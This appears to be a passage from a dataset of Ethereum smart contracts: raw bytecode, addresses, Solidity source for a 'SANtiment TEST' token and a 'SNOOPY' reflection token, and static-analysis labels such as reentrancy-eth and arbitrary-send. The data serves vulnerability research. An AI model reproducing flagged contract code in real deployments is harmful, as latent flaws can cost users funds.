ffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b5c82600a546138d090919063ffffffff16565b600a81905550613b7781600b5461391a90919063ffffffff16565b600b819055505050565b600080600080613bad6064613b9f888a6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613bd76064613bc9888b6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613c0082613bf2858c6138d090919063ffffffff16565b6138d090919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c3085896127cc90919063ffffffff16565b90506000613c4786896127cc90919063ffffffff16565b90506000613c5e87896127cc90919063ffffffff16565b90506000613c8782613c7985876138d090919063ffffffff16565b6138d090919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220325f6da8a993f7b90926c41599166dc09e0378e7894ea01635995b19bd7a1fe464736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
225
0x678aa5979b5a0e5b8e2fd5ab400a64616bc78aa3
pragma solidity ^0.4.11; contract Base { function max(uint a, uint b) returns (uint) { return a >= b ? a : b; } function min(uint a, uint b) returns (uint) { return a <= b ? a : b; } modifier only(address allowed) { if (msg.sender != allowed) throw; _; } ///@return True if `_addr` is a contract function isContract(address _addr) constant internal returns (bool) { if (_addr == 0) return false; uint size; assembly { size := extcodesize(_addr) } return (size > 0); } // ************************************************* // * reentrancy handling * // ************************************************* //@dev predefined locks (up to uint bit length, i.e. 256 possible) uint constant internal L00 = 2 ** 0; uint constant internal L01 = 2 ** 1; uint constant internal L02 = 2 ** 2; uint constant internal L03 = 2 ** 3; uint constant internal L04 = 2 ** 4; uint constant internal L05 = 2 ** 5; //prevents reentrancy attacs: specific locks uint private bitlocks = 0; modifier noReentrancy(uint m) { var _locks = bitlocks; if (_locks & m > 0) throw; bitlocks |= m; _; bitlocks = _locks; } modifier noAnyReentrancy { var _locks = bitlocks; if (_locks > 0) throw; bitlocks = uint(-1); _; bitlocks = _locks; } ///@dev empty marking modifier signaling to user of the marked function , that it can cause an reentrant call. /// developer should make the caller function reentrant-safe if it use a reentrant function. modifier reentrant { _; } } contract Owned is Base { address public owner; address public newOwner; function Owned() { owner = msg.sender; } function transferOwnership(address _newOwner) only(owner) { newOwner = _newOwner; } function acceptOwnership() only(newOwner) { OwnershipTransferred(owner, newOwner); owner = newOwner; } event OwnershipTransferred(address indexed _from, address indexed _to); } contract ERC20 is Owned { event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); function transfer(address _to, uint256 _value) isStartedOnly returns (bool success) { if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) isStartedOnly returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) isStartedOnly returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; bool public isStarted = false; modifier onlyHolder(address holder) { if (balanceOf(holder) == 0) throw; _; } modifier isStartedOnly() { if (!isStarted) throw; _; } } contract SubscriptionModule { function attachToken(address addr) public ; } contract SAN is Owned, ERC20 { string public constant name = "SANtiment TEST token"; string public constant symbol = "SAN.TEST.ET.1"; uint8 public constant decimals = 15; address CROWDSALE_MINTER = 0xA643A2272B6170994872BB24759F4d928631d940; address public SUBSCRIPTION_MODULE = 0x00000000; address public beneficiary; uint public PLATFORM_FEE_PER_10000 = 1; //0.01% uint public totalOnDeposit; uint public totalInCirculation; ///@dev constructor function SAN() { beneficiary = owner = msg.sender; } // ------------------------------------------------------------------------ // Don&#39;t accept ethers // ------------------------------------------------------------------------ function () { throw; } //======== SECTION Configuration: Owner only ======== // ///@notice set beneficiary - the account receiving platform fees. function setBeneficiary(address newBeneficiary) external only(owner) { beneficiary = newBeneficiary; } ///@notice attach module managing subscriptions. if subModule==0x0, then disables subscription functionality for this token. /// detached module can usually manage subscriptions, but all operations changing token balances are disabled. function attachSubscriptionModule(SubscriptionModule subModule) noAnyReentrancy external only(owner) { SUBSCRIPTION_MODULE = subModule; if (address(subModule) > 0) subModule.attachToken(this); } ///@notice set platform fee denominated in 1/10000 of SAN token. Thus "1" means 0.01% of SAN token. function setPlatformFeePer10000(uint newFee) external only(owner) { require (newFee <= 10000); //formally maximum fee is 100% (completely insane but technically possible) PLATFORM_FEE_PER_10000 = newFee; } //======== Interface XRateProvider: a trivial exchange rate provider. Rate is 1:1 and SAN symbol as the code // ///@dev used as a default XRateProvider (id==0) by subscription module. ///@notice returns always 1 because exchange rate of the token to itself is always 1. function getRate() returns(uint32 ,uint32) { return (1,1); } function getCode() public returns(string) { return symbol; } //==== Interface ERC20ModuleSupport: Subscription, Deposit and Payment Support ===== /// ///@dev used by subscription module to operate on token balances. ///@param msg_sender should be an original msg.sender provided to subscription module. function _fulfillPreapprovedPayment(address _from, address _to, uint _value, address msg_sender) public onlyTrusted returns(bool success) { success = _from != msg_sender && allowed[_from][msg_sender] >= _value; if (!success) { Payment(_from, _to, _value, _fee(_value), msg_sender, PaymentStatus.APPROVAL_ERROR, 0); } else { success = _fulfillPayment(_from, _to, _value, 0, msg_sender); if (success) { allowed[_from][msg_sender] -= _value; } } return success; } ///@dev used by subscription module to operate on token balances. ///@param msg_sender should be an original msg.sender provided to subscription module. function _fulfillPayment(address _from, address _to, uint _value, uint subId, address msg_sender) public onlyTrusted returns (bool success) { var fee = _fee(_value); assert (fee <= _value); //internal sanity check if (balances[_from] >= _value && balances[_to] + _value > balances[_to]) { balances[_from] -= _value; balances[_to] += _value - fee; balances[beneficiary] += fee; Payment(_from, _to, _value, fee, msg_sender, PaymentStatus.OK, subId); return true; } else { Payment(_from, _to, _value, fee, msg_sender, PaymentStatus.BALANCE_ERROR, subId); return false; } } function _fee(uint _value) internal constant returns (uint fee) { return _value * PLATFORM_FEE_PER_10000 / 10000; } ///@notice used by subscription module to re-create token from returning deposit. ///@dev a subscription module is responsible to correct deposit management. function _mintFromDeposit(address owner, uint amount) public onlyTrusted { balances[owner] += amount; totalOnDeposit -= amount; totalInCirculation += amount; } ///@notice used by subscription module to burn token while creating a new deposit. ///@dev a subscription module is responsible to create and maintain the deposit record. function _burnForDeposit(address owner, uint amount) public onlyTrusted returns (bool success) { if (balances[owner] >= amount) { balances[owner] -= amount; totalOnDeposit += amount; totalInCirculation -= amount; return true; } else { return false; } } //========= Crowdsale Only =============== ///@notice mint new token for given account in crowdsale stage ///@dev allowed only if token not started yet and only for registered minter. ///@dev tokens are become in circulation after token start. function mint(uint amount, address account) onlyCrowdsaleMinter isNotStartedOnly { totalSupply += amount; balances[account]+=amount; } ///@notice start normal operation of the token. No minting is possible after this point. function start() isNotStartedOnly only(owner) { totalInCirculation = totalSupply; isStarted = true; } //========= SECTION: Modifier =============== modifier onlyCrowdsaleMinter() { if (msg.sender != CROWDSALE_MINTER) throw; _; } modifier onlyTrusted() { if (msg.sender != SUBSCRIPTION_MODULE) throw; _; } ///@dev token not started means minting is possible, but usual token operations are not. modifier isNotStartedOnly() { if (isStarted) throw; _; } enum PaymentStatus {OK, BALANCE_ERROR, APPROVAL_ERROR} ///@notice event issued on any fee based payment (made of failed). ///@param subId - related subscription Id if any, or zero otherwise. event Payment(address _from, address _to, uint _value, uint _fee, address caller, PaymentStatus status, uint subId); }//contract SAN
0x606060405236156101935763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146101a9578063095ea7b31461023957806318160ddd1461026c5780631c31f7101461028e57806323b872dd146102ac5780632981cceb146102e55780632c7ec2c214610306578063313ce5671461034a57806335b55d981461037057806338af3eed1461039c578063544736e6146103c857806359ba1dd5146103ec5780635cb0c16f1461042c578063679aefce1461044e5780636d5433e6146104815780636dd43d1f146104a957806370a08231146104c757806379ba5097146104f55780637ae2b5c7146105075780638da5cb5b1461052f57806394bf804d1461055b57806395d89b411461057c5780639bd334571461060c578063a9059cbb1461062e578063abf0661f14610661578063be9a655514610694578063d4ee1d90146106a6578063dd62ed3e146106d2578063e3d0799c14610706578063ea87963414610728578063f2fde38b146107b8578063f9cc2e66146107d6575b341561019b57fe5b6101a75b60006000fd5b565b005b34156101b157fe5b6101b96107eb565b6040805160208082528351818301528351919283929083019185019080838382156101ff575b8051825260208311156101ff57601f1990920191602091820191016101df565b505050905090810190601f16801561022b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561024157fe5b610258600160a060020a0360043516602435610822565b604080519115158252519081900360200190f35b341561027457fe5b61027c61089f565b60408051918252519081900360200190f35b341561029657fe5b6101a7600160a060020a03600435166108a5565b005b34156102b457fe5b610258600160a060020a03600435811690602435166044356108f0565b604080519115158252519081900360200190f35b34156102ed57fe5b6101a7600160a060020a0360043516602435610a15565b005b341561030e57fe5b610258600160a060020a03600435811690602435811690604435906064359060843516610a66565b604080519115158252519081900360200190f35b341561035257fe5b61035a610c60565b6040805160ff9092168252519081900360200190f35b341561037857fe5b610380610c65565b60408051600160a060020a039092168252519081900360200190f35b34156103a457fe5b610380610c74565b60408051600160a060020a039092168252519081900360200190f35b34156103d057fe5b610258610c83565b604080519115158252519081900360200190f35b34156103f457fe5b610258600160a060020a036004358116906024358116906044359060643516610c8c565b604080519115158252519081900360200190f35b341561043457fe5b61027c610dd7565b60408051918252519081900360200190f35b341561045657fe5b61045e610ddd565b6040805163ffffffff938416815291909216602082015281519081900390910190f35b341561048957fe5b61027c600435602435610de5565b60408051918252519081900360200190f35b34156104b157fe5b6101a7600160a060020a0360043516610e00565b005b34156104cf57fe5b61027c600160a060020a0360043516610ef8565b60408051918252519081900360200190f35b34156104fd57fe5b6101a7610f17565b005b341561050f57fe5b61027c600435602435610fa7565b60408051918252519081900360200190f35b341561053757fe5b610380610fc2565b60408051600160a060020a039092168252519081900360200190f35b341561056357fe5b6101a7600435600160a060020a0360243516610fd1565b005b341561058457fe5b6101b9611030565b6040805160208082528351818301528351919283929083019185019080838382156101ff575b8051825260208311156101ff57601f1990920191602091820191016101df565b505050905090810190601f16801561022b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561061457fe5b61027c611067565b60408051918252519081900360200190f35b341561063657fe5b610258600160a060020a036004351660243561106d565b604080519115158252519081900360200190f35b341561066957fe5b610258600160a060020a0360043516602435611148565b604080519115158252519081900360200190f35b341561069c57fe5b6101a76111cf565b005b34156106ae57fe5b610380611216565b60408051600160a060020a039092168252519081900360200190f35b34156106da57fe5b61027c600160a060020a0360043581169060243516611225565b60408051918252519081900360200190f35b341561070e57fe5b61027c611252565b60408051918252519081900360200190f35b341561073057fe5b6101b9611258565b6040805160208082528351818301528351919283929083019185019080838382156101ff575b8051825260208311156101ff57601f1990920191602091820191016101df565b505050905090810190601f16801561022b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156107c057fe5b6101a7600160a060020a0360043516611299565b005b34156107de57fe5b6101a76004356112e4565b005b60408051808201909152601481527f53414e74696d656e74205445535420746f6b656e000000000000000000000000602082015281565b60065460009060ff1615156108375760006000fd5b600160a060020a03338116600081815260046020908152604080832094881680845294825291829020869055815186815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a35060015b5b92915050565b60055481565b600154600160a060020a0390811690331681146108c25760006000fd5b6008805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0384161790555b5b5050565b60065460009060ff1615156109055760006000fd5b600160a060020a0384166000908152600360205260409020548290108015906109555750600160a060020a0380851660009081526004602090815260408083203390941683529290522054829010155b801561097a5750600160a060020a038316600090815260036020526040902054828101115b15610a0857600160a060020a03808416600081815260036020908152604080832080548801905588851680845281842080548990039055600483528184203390961684529482529182902080548790039055815186815291519293927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a3506001610a0c565b5060005b5b5b9392505050565b60075433600160a060020a03908116911614610a315760006000fd5b600160a060020a0382166000908152600360205260409020805482019055600a80548290039055600b8054820190555b5b5050565b600754600090819033600160a060020a03908116911614610a875760006000fd5b610a908561131c565b905084811115610a9c57fe5b600160a060020a038716600090815260036020526040902054859010801590610ade5750600160a060020a038616600090815260036020526040902054858101115b15610ba357600160a060020a03808816600081815260036020908152604080832080548b900390558a85168084528184208054888d030190556008548616845281842080548801905581519485529184019190915282018890526060820184905291851660808201527f83725a910247ba73f0cbe5d1f944bdf6e0456c94ccb822dbdd206f4bed6b045e91899189918991869189918b9060a08101835b60ff16815260200182815260200197505050505050505060405180910390a160019150610c54565b7f83725a910247ba73f0cbe5d1f944bdf6e0456c94ccb822dbdd206f4bed6b045e878787848760018a6040518088600160a060020a0316600160a060020a0316815260200187600160a060020a0316600160a060020a0316815260200186815260200185815260200184600160a060020a0316600160a060020a03168152602001836002811115610c3057fe5b60ff16815260200182815260200197505050505050505060405180910390a1600091505b5b5b5095945050505050565b600f81565b600754600160a060020a031681565b600854600160a060020a031681565b60065460ff1681565b60075460009033600160a060020a03908116911614610cab5760006000fd5b81600160a060020a031685600160a060020a031614158015610cf35750600160a060020a03808616600090815260046020908152604080832093861683529290522054839010155b9050801515610d89577f83725a910247ba73f0cbe5d1f944bdf6e0456c94ccb822dbdd206f4bed6b045e858585610d298761131c565b60408051600160a060020a0380871682528581166020830152918101849052606081018390529088166080820152879060029060009060a08101835b60ff16815260200182815260200197505050505050505060405180910390a1610dcc565b610d97858585600086610a66565b90508015610dcc57600160a060020a038086166000908152600460209081526040808320938616835292905220805484900390555b5b5b5b949350505050565b600b5481565b6001805b9091565b600081831015610df55781610df7565b825b90505b92915050565b6000805490811115610e125760006000fd5b600019600055600154600160a060020a039081169033168114610e355760006000fd5b6007805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0385169081179091556000901115610eeb5782600160a060020a031663406a6f60306040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082600160a060020a0316600160a060020a03168152602001915050600060405180830381600087803b1515610ed957fe5b6102c65a03f11515610ee757fe5b5050505b5b5b5060008190555b5050565b600160a060020a0381166000908152600360205260409020545b919050565b600254600160a060020a039081169033168114610f345760006000fd5b600254600154604051600160a060020a0392831692909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36002546001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039092169190911790555b5b50565b600081831115610df55781610df7565b825b90505b92915050565b600154600160a060020a031681565b60065433600160a060020a039081166101009092041614610ff25760006000fd5b60065460ff16156110035760006000fd5b6005805483019055600160a060020a03811660009081526003602052604090208054830190555b5b5b5050565b60408051808201909152600d81527f53414e2e544553542e45542e3100000000000000000000000000000000000000602082015281565b600a5481565b60065460009060ff1615156110825760006000fd5b600160a060020a0333166000908152600360205260409020548290108015906110c45750600160a060020a038316600090815260036020526040902054828101115b1561113857600160a060020a03338116600081815260036020908152604080832080548890039055938716808352918490208054870190558351868152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a3506001610898565b506000610898565b5b5b92915050565b60075460009033600160a060020a039081169116146111675760006000fd5b600160a060020a0383166000908152600360205260409020548290106111385750600160a060020a038216600090815260036020526040902080548290039055600a805482019055600b805482900390556001610898565b506000610898565b5b5b92915050565b60065460ff16156111e05760006000fd5b600154600160a060020a0390811690331681146111fd5760006000fd5b600554600b556006805460ff191660011790555b5b505b565b600254600160a060020a031681565b600160a060020a038083166000908152600460209081526040808320938516835292905220545b92915050565b60095481565b611260611332565b5060408051808201909152600d81527f53414e2e544553542e45542e310000000000000000000000000000000000000060208201525b90565b600154600160a060020a0390811690331681146112b65760006000fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0384161790555b5b5050565b600154600160a060020a0390811690331681146113015760006000fd5b6127108211156113115760006000fd5b60098290555b5b5050565b6009546000906127109083025b0490505b919050565b604080516020810190915260008152905600a165627a7a723058203ca2bf6b2b7054e3d2235cc51f4f08ec11fe11180d25b51151357c3e9a4b7ed70029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}]}}
226
0xd79d3a353d6b3bb981c6c81c7339c8d16f97647d
// Contract for SNOOPY // SPDX-License-Identifier: Unlicensed pragma solidity >=0.7.0 <0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract SNOOPY is Context, IERC20, Ownable { using SafeMath for uint256; uint256 private _totalSupply = 1000 * 10**9 * 10**9; string private _name = 'Snoopy.Finance'; string private _symbol = 'SNOOPY'; uint8 private _decimals = 9; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private gameWallet; //burning variables uint256 private _firstBurnStop = 750 * 10**9 * 10**9; uint256 private _secondBurnStop = 500 * 10**9 * 10**9; uint256 private _thirdBurnStop = 250 * 10**9 * 10**9; uint256 private constant MAX = ~uint256(0); uint256 private _supplyRemaining = (MAX - (MAX % _totalSupply)); uint256 private _redistributionTotal = 0; uint256 private _rredistributionTotal = 0; constructor (address _gameWallet) { gameWallet = _gameWallet; _balances[_msgSender()] = _supplyRemaining; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _holderBalance(_balances[account]); } function gameWalletBalance() public view returns (uint256) { return _holderBalance(_balances[gameWallet]); } function redistributedFees() public view returns (uint256) { return _rredistributionTotal; } function _holderBalance(uint256 accountBalance) private view returns(uint256) { require(accountBalance <= _supplyRemaining, "Amount must be less than total supply"); uint256 currentRate = _getRate(); return accountBalance.div(currentRate); } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = _balances[sender]; uint256 currentRate = _getRate(); uint256 amountAdjusted = amount.mul(currentRate); require(senderBalance >= amountAdjusted, "ERC20: transfer amount exceeds balance"); (uint256 transferAmount, uint256 _burnAmount, uint256 _gameRewards, uint256 _redistributionAmount) = _transferFee(amount); //set balances for sender and recipient _balances[sender] = _balances[sender].sub(amountAdjusted); _balances[recipient] = _balances[recipient].add(transferAmount.mul(currentRate)); //game rewards uint256 _gameRewardsAdjusted = _gameRewards.mul(currentRate); _balances[gameWallet] = _balances[gameWallet].add(_gameRewardsAdjusted); //redistribution to holders uint256 _redistributionAmountAdjusted = _redistributionAmount.mul(currentRate); _redistributionTotal = _redistributionTotal.add(_redistributionAmountAdjusted); _rredistributionTotal = _rredistributionTotal.add(_redistributionAmount); _supplyRemaining = _supplyRemaining.sub(_redistributionAmountAdjusted); //burn the % if available if(_burnAmount > 0) { uint256 _burnAmountAdjusted = _burnAmount.mul(currentRate); _totalSupply = _totalSupply.sub(_burnAmount); _supplyRemaining = _supplyRemaining.sub(_burnAmountAdjusted); emit Transfer(sender, address(0), _burnAmount); } emit Transfer(sender, recipient, transferAmount); } function _transferFee(uint256 transferAmount) private view returns (uint256, uint256, uint256, uint256) { uint256 _burnAmount = 0; if(_totalSupply > _firstBurnStop) _burnAmount = transferAmount.mul(12).div(100); else if(_totalSupply > _secondBurnStop) _burnAmount = transferAmount.mul(6).div(100); else if(_totalSupply > _thirdBurnStop) _burnAmount = transferAmount.mul(3).div(100); uint256 _redistributionAmount = transferAmount.mul(5).div(100); uint256 _gameRewards = transferAmount.mul(3).div(100); transferAmount = transferAmount.sub(_redistributionAmount); transferAmount = transferAmount.sub(_gameRewards); if(_burnAmount > 0) transferAmount = transferAmount.sub(_burnAmount); return (transferAmount, _burnAmount, _gameRewards, _redistributionAmount); } function _getRate() private view returns(uint256) { return _supplyRemaining.div(_totalSupply); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a9059cbb11610066578063a9059cbb146104ae578063cd06bef814610512578063dd62ed3e14610530578063f2fde38b146105a857610100565b8063715018a6146103895780638da5cb5b1461039357806395d89b41146103c7578063a457c2d71461044a57610100565b806323b872dd116100d357806323b872dd14610228578063313ce567146102ac57806339509351146102cd57806370a082311461033157610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ec5780631c8a66a11461020a575b600080fd5b61010d6105ec565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061068e565b60405180821515815260200191505060405180910390f35b6101f46106ac565b6040518082815260200191505060405180910390f35b6102126106b6565b6040518082815260200191505060405180910390f35b6102946004803603606081101561023e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610727565b60405180821515815260200191505060405180910390f35b6102b4610835565b604051808260ff16815260200191505060405180910390f35b610319600480360360408110156102e357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061084c565b60405180821515815260200191505060405180910390f35b6103736004803603602081101561034757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108ef565b6040518082815260200191505060405180910390f35b610391610940565b005b61039b610ac6565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103cf610aef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561040f5780820151818401526020810190506103f4565b50505050905090810190601f16801561043c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104966004803603604081101561046057600080fd5b81019080803573ff